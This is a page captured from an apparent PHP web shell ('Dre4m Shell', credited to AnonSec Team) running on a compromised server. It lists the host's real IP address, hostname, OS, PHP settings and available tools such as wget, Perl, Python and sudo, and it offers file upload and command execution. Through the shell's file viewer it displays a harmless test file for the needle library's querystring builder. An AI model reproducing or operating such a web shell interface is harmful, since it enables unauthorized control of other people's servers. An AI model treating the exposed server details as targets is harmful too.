Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.225.209.237
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/task/3/root/proc/3/root/lib/node_modules/pm2/node_modules/needle/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/task/3/root/proc/3/root/lib/node_modules/pm2/node_modules/needle/test/querystring_spec.js
var should    = require('should'),
	  stringify = require('../lib/querystring').build;

describe('stringify', function() {

	describe('with null', function() {

		it('throws', function() {
			(function() {
				var res = stringify(null);
			}).should.throw();
		})

	})

	describe('with a number', function() {

		it('throws', function() {
			(function() {
				var res = stringify(100);
			}).should.throw();
		})

	})

	describe('with a string', function() {

		describe('that is empty', function() {

			it('throws', function() {
				(function() {
					var res = stringify('');
				}).should.throw();
			})

		})

		describe('that doesnt contain an equal sign', function() {

			it('throws', function() {
				(function() {
					var res = stringify('boomshagalaga');
				}).should.throw();
			})

		})

		describe('that contains an equal sign', function() {

			it('works', function() {
				var res = stringify('hello=123');
				res.should.eql('hello=123');
			})

		})

	})

	describe('with an array', function() {

		describe('with key val objects', function() {

			it('works', function() {
				var res = stringify([ {foo: 'bar'} ]);
				res.should.eql('foo=bar');
			})

		})

		describe('where all elements are strings with an equal sign', function() {

			it('works', function() {
				var res = stringify([ 'bar=123', 'quux=' ]);
				res.should.eql('bar=123&quux=');
			})

		})

		describe('with random words', function() {

			it('throws', function() {
				(function() {
					var res = stringify(['hello', 'there']);
				}).should.throw();
			})

		})

		describe('with integers', function() {

			it('throws', function() {
				(function() {
					var res = stringify([123, 432]);
				}).should.throw();
			})

		})

	})

	describe('with an object', function() {

			it('works', function() {
				var res = stringify({ test: 100 });
				res.should.eql('test=100');
			})

			describe('with object where val is an array', function() {

				it('works', function() {
					var res = stringify({ foo: ['bar', 'baz'] });
					res.should.eql('foo[]=bar&foo[]=baz');
				})

			})

			describe('with object where val is an array of key val objects', function() {

				it('works', function() {
					var res = stringify({ foo: [{'1': 'bar'}, {'2': 'baz'}] });
					res.should.eql('foo[][1]=bar&foo[][2]=baz');
				})

			})

	})

})

Anon7 - 2022
AnonSec Team